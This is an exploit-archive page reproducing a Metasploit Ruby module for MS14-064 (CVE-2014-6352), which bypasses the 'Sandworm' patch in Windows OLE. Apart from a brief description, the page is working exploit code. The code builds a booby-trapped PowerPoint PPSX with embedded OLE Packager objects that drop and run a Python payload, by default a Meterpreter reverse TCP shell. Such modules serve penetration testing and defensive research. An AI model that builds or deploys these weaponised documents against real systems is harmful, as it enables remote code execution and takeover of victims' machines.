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MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python

MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python
Posted Nov 14, 2014
Authored by Haifei Li, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module exploits a vulnerability found in Windows Object Linking and Embedding (OLE) allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability publicly known as "Sandworm", on systems with Python for Windows installed. Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable. However, based on our testing, the most reliable setup is on Windows platforms running Office 2013 and Office 2010 SP2. Please keep in mind that some other setups such as those using Office 2010 SP1 may be less stable, and may end up with a crash due to a failure in the CPackage::CreateTempFileName function.

tags | exploit, arbitrary, code execution, python
systems | windows, vista
advisories | CVE-2014-6352
MD5 | fe028a266ecc2e632fcaf3aa8b0dd614

MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python",
'Description' => %q{
This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)
allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability
publicly known as "Sandworm", on systems with Python for Windows installed. Windows Vista
SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable.
However, based on our testing, the most reliable setup is on Windows platforms running
Office 2013 and Office 2010 SP2. Please keep in mind that some other setups such as
those using Office 2010 SP1 may be less stable, and may end up with a crash due to a
failure in the CPackage::CreateTempFileName function.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Haifei Li', # Vulnerability discovery and exploit technique
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2014-6352'],
['MSB', 'MS14-064'],
['BID', '70690'],
['URL', 'http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-for-the-sandworm-zero-day-even-editing-can-cause-harm']
],
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Targets' =>
[
['Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013', {}],
],
'Privileged' => false,
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp'
},
'DisclosureDate' => "Nov 12 2014",
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx'])
], self.class)
end

def exploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
payload_packager = create_packager('tabnanny.py', payload.encoded)
trigger_packager = create_packager("#{rand_text_alpha(4)}.py", rand_text_alpha(4 + rand(10)))
zip = zip_ppsx(payload_packager, trigger_packager)
file_create(zip)
end

def zip_ppsx(ole_payload, ole_trigger)
zip_data = {}
data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')

Dir["#{data_dir}/**/**"].each do |file|
unless File.directory?(file)
zip_data[file.sub(data_dir,'')] = File.read(file)
end
end

# add the otherwise skipped "hidden" file
file = "#{data_dir}/_rels/.rels"
zip_data[file.sub(data_dir,'')] = File.read(file)

# put our own OLE streams
zip_data['/ppt/embeddings/oleObject1.bin'] = ole_payload
zip_data['/ppt/embeddings/oleObject2.bin'] = ole_trigger

# create the ppsx
ppsx = Rex::Zip::Archive.new
zip_data.each_pair do |k,v|
ppsx.add_file(k,v)
end

ppsx.pack
end

def create_packager(file_name, contents)
file_info = [2].pack('v')
file_info << "#{file_name}\x00"
file_info << "#{file_name}\x00"
file_info << "\x00\x00"

extract_info = [3].pack('v')
extract_info << [file_name.length + 1].pack('V')
extract_info << "#{file_name}\x00"

file = [contents.length].pack('V')
file << contents

append_info = [file_name.length].pack('V')
append_info << Rex::Text.to_unicode(file_name)
append_info << [file_name.length].pack('V')
append_info << Rex::Text.to_unicode(file_name)
append_info << [file_name.length].pack('V')
append_info << Rex::Text.to_unicode(file_name)

ole_data = file_info + extract_info + file + append_info
ole_contents = [ole_data.length].pack('V') + ole_data

ole = create_ole("\x01OLE10Native", ole_contents)

ole
end

def create_ole(stream_name, data)
ole_tmp = Rex::Quickfile.new('ole')
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)

stm = stg.create_stream(stream_name)
stm << data
stm.close

directory = stg.instance_variable_get(:@directory)
directory.each_entry do |entry|
if entry.instance_variable_get(:@_ab) == 'Root Entry'
# 0003000C-0000-0000-c000-000000000046 # Packager
clsid = Rex::OLE::CLSID.new("\x0c\x00\x03\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")
entry.instance_variable_set(:@_clsId, clsid)
end
end

# write to disk
stg.close

ole_contents = File.read(ole_tmp.path)
ole_tmp.close
ole_tmp.unlink

ole_contents
end

end

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